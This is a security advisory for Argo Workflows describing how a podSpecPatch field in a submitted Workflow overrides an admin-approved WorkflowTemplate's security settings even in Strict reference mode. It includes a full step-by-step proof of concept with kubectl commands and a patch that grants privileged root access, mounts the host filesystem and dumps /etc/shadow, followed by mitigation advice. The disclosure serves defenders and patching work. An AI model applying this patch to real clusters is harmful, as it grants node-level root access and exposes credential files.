Argo Workflows: WorkflowTemplate Security Bypass via podSpecPatch in Strict/Secure Reference Mode
Published 11 Mar 2026 · Updated 10 Sept 2026
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Affected packages
- Affected
- <4.0.2
- Fixed in
- 4.0.2
go get github.com/argoproj/argo-workflows/v4@v4.0.2- Affected
- <3.7.11
- Fixed in
- 3.7.11
go get github.com/argoproj/argo-workflows/v3@v3.7.11- Affected
- >=2.9.0
- Fixed in
- No fix released
Details
Summary
A user who can submit Workflows can completely bypass all security settings defined in a WorkflowTemplate by including a podSpecPatch field in their Workflow submission. This works even when the controller is configured with templateReferencing: Strict, which is specifically documented as a mechanism to restrict users to admin-approved templates. The podSpecPatch field on a submitted Workflow takes precedence over the referenced WorkflowTemplate during spec merging and is applied directly to the pod spec at creation time with no security validation.
Details
Three issues combine to create this vulnerability:
1. Merge priority order:JoinWorkflowSpec merges specs with the priority order Workflow Spec > WorkflowTemplate Spec > WorkflowDefault Spec. Because podSpecPatch is a plain string field, the Workflow's value replaces the WorkflowTemplate's value.
2. No security validation on podSpecPatch: ApplyPodSpecPatch() only validates that the patch is syntactically valid JSON conforming to the Kubernetes PodSpec schema. No checks are performed for dangerous security settings such as privileged: true.
3. templateReferencing: Strict does not restrict podSpecPatch: Strict mode only checks whether WorkflowTemplateRef is set. If it is, the Workflow passes validation regardless of what other fields (including podSpecPatch) are present.
PoC
Prerequisites
A local Kubernetes cluster with Argo Workflows installed. The instructions below use kind.
1. Create a kind cluster and install Argo Workflows
kind create cluster --name argo-poc kubectl create namespace argo kubectl apply -n argo --server-side \ -f https://github.com/argoproj/argo-workflows/releases/download/v4.0.1/install.yaml
Note: --server-side is required because some CRDs exceed the client-side annotation size limit.
Wait for the controller to be ready:
kubectl wait -n argo --for=condition=Ready pod -l app=workflow-controller --timeout=120s
2. Enable templateReferencing: Strict
Patch the workflow controller configmap to enforce Strict mode:
kubectl patch configmap workflow-controller-configmap -n argo --type merge \
-p '{"data":{"workflowRestrictions":"templateReferencing: Strict\n"}}'Restart the controller to pick up the new config:
kubectl rollout restart deployment workflow-controller -n argo kubectl wait -n argo --for=condition=Ready pod -l app=workflow-controller --timeout=120s
3. Verify Strict mode is active
Attempt to submit a standalone Workflow (no workflowTemplateRef). It should be rejected:
cat <<'EOF' | kubectl create -n argo -f -
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
generateName: strict-test-
spec:
entrypoint: test
templates:
- name: test
container:
image: alpine
command: [echo, "hello"]
EOFThe Workflow will be accepted by the API server but the controller will reject it. After a few seconds, check its status:
STRICT_WF=$(kubectl get workflow -n argo -o name | grep strict-test | tail -1)
kubectl get -n argo "$STRICT_WF" -o jsonpath='{.status.phase} {.status.message}'Expected output:
Error workflows must use workflowTemplateRef to be executed when the controller is in reference mode
4: Create a hardened WorkflowTemplate
An administrator creates a WorkflowTemplate with restrictive security settings:
cat <<'EOF' | kubectl apply -n argo -f -
apiVersion: argoproj.io/v1alpha1
kind: WorkflowTemplate
metadata:
name: secure-template
namespace: argo
annotations:
description: "Admin-approved secure template with hardened security settings"
spec:
entrypoint: secure-task
securityContext:
runAsNonRoot: true
runAsUser: 1000
fsGroup: 1000
templates:
- name: secure-task
container:
image: alpine:latest
command: ["/bin/sh", "-c"]
args:
- |
echo "=== Security Context Check ==="
echo "Current UID: $(id -u)"
echo "Current GID: $(id -g)"
if cat /etc/shadow 2>/dev/null; then
echo "EXPLOITED: Can read /etc/shadow!"
else
echo "SECURE: Cannot read /etc/shadow"
fi
if ls /host/etc/passwd 2>/dev/null; then
echo "EXPLOITED: Host filesystem accessible!"
cat /host/etc/passwd | head -5
else
echo "SECURE: No host filesystem access"
fi
if [ "$(id -u)" = "0" ]; then
echo "EXPLOITED: Running as root!"
else
echo "SECURE: Running as non-root (UID: $(id -u))"
fi
echo "=== End Check ==="
securityContext:
runAsNonRoot: true
runAsUser: 1000
allowPrivilegeEscalation: false
capabilities:
drop:
- ALL
EOF5. Submit a legitimate Workflow (baseline)
Submit a Workflow that references the secure template without modification:
cat <<'EOF' | kubectl create -n argo -f -
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
generateName: legit-use-
namespace: argo
spec:
workflowTemplateRef:
name: secure-template
EOFWait for completion and check logs:
LEGIT_WF=$(kubectl get workflow -n argo -o name | grep legit-use | tail -1) kubectl wait -n argo --for=condition=Completed "$LEGIT_WF" --timeout=120s kubectl logs -n argo -l "workflows.argoproj.io/workflow=$(basename $LEGIT_WF)" -c main
Expected output (confirming the template's security settings are applied):
=== Security Context Check === Current UID: 1000 Current GID: 0 SECURE: Cannot read /etc/shadow SECURE: No host filesystem access SECURE: Running as non-root (UID: 1000) === End Check ===
6. Submit the bypass Workflow
Submit a Workflow that references the same secure template but includes a podSpecPatch that overrides all security settings:
cat <<'EOF' | kubectl create -n argo -f -
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
generateName: bypass-security-
namespace: argo
spec:
workflowTemplateRef:
name: secure-template
podSpecPatch: |
hostPID: true
hostNetwork: true
containers:
- name: main
securityContext:
privileged: true
runAsUser: 0
runAsNonRoot: false
allowPrivilegeEscalation: true
capabilities:
add:
- ALL
drop: []
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /
type: Directory
EOFWait for completion and check logs:
BYPASS_WF=$(kubectl get workflow -n argo -o name | grep bypass-security | tail -1) kubectl wait -n argo --for=condition=Completed "$BYPASS_WF" --timeout=120s kubectl logs -n argo -l "workflows.argoproj.io/workflow=$(basename $BYPASS_WF)" -c main
Expected output (all security settings bypassed):
=== Security Context Check === Current UID: 0 Current GID: 0 root:*::0::::: bin:!::0::::: [... /etc/shadow contents dumped ...] EXPLOITED: Can read /etc/shadow! EXPLOITED: Host filesystem accessible! root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin [... host /etc/passwd contents ...] EXPLOITED: Running as root! === End Check ===
The file /etc/shadow is readable (root), the host filesystem is mounted and accessible, and the container runs as UID 0.
Impact
The purpose of templateReferencing: Strict is to restrict users to only execute admin-approved WorkflowTemplates. This is explicitly documented as a security feature:
> You can typically further restrict what a user can do to just being able to submit workflows from templates using the workflow restrictions feature.
A user who can submit Workflows referencing approved templates can use podSpecPatch to:
- Run containers as root (
runAsUser: 0) - Enable privileged mode (
privileged: true) - Mount the host filesystem (
hostPathvolumes) - Share host PID/network/IPC namespaces (
hostPID,hostNetwork,hostIPC) - Add all Linux capabilities (
capabilities.add: ["ALL"])
This effectively grants the user full root access to the underlying Kubernetes node, regardless of what security constraints the admin configured in the WorkflowTemplate.
The templateReferencing feature was introduced in Argo Workflows v2.9.0 through PR #3149.
Mitigation
When templateReferencing: Strict or Secure is enabled, the controller should reject Workflows that include a podSpecPatch field when using workflowTemplateRef.
Without the codefix, deploying an admission controller (OPA/Gatekeeper, Kyverno) with policies that block dangerous pod settings (privileged, hostPID, hostNetwork, hostIPC, hostPath) on pods created by Argo Workflows.
Is GHSA-3wf5-g532-rcrr in any of your client repos?
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More advisories for github.com/argoproj/argo-workflows/v4
- LowCVE-2026-54526Argo Workflows: ArtifactGC.PodSpecPatch bypasses Strict/Secure template reference allow-list (Incomplete fix for CVE-2026-31892) in github.com/argoproj/argo-workflows · 18 Aug 2026
- HighCVE-2026-54526Argo Workflows: ArtifactGC.PodSpecPatch bypasses Strict/Secure template reference allow-list (Incomplete fix for CVE-2026-31892) · 13 Aug 2026
- LowCVE-2026-42297Argo has Missing Authorization in its Sync ConfigMap Provider in github.com/argoproj/argo-workflows · 25 Jun 2026
- LowCVE-2026-42183Argo Affected by SSO RBAC Delegation Nil Pointer Dereference DoS (gatekeeper.go) in github.com/argoproj/argo-workflows · 25 Jun 2026
- LowCVE-2026-42294Argo Vulnerable to Unauthenticated Memory Exhaustion (DoS) in Webhook Interceptor in github.com/argoproj/argo-workflows · 25 Jun 2026
- LowCVE-2026-42295Argo vulnerable to exposure of artifact repository credentials in github.com/argoproj/argo-workflows · 25 Jun 2026
References
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.